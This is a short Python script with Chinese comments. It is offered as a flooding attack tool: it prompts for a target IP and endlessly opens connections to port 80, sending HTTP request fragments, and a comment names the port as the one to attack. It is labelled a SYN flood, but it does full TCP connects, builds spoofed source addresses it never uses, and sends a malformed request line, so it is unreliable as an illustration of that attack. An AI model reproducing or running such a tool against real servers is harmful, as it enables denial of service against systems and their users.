import socket
import random

target_ip  = input("Target server IP: ")
target_port = 80  # 或者你想要攻击的端口

def syn_flood():
    while True:
        src_port = random.randint(1024, 65535)  # 随机选择源端口
        src_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))  # 生成随机源IP
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target_ip, target_port))
            s.sendto(("GET /%s HTTP/1.1\r\n").encode('ascii'), (target_ip, target_port))
            s.sendto(("Host: %s\r\n\r\n" % target_ip).encode('ascii'), (target_ip, target_port))
            s.close()
        except socket.error:
            pass

if __name__ == "__main__":
    syn_flood()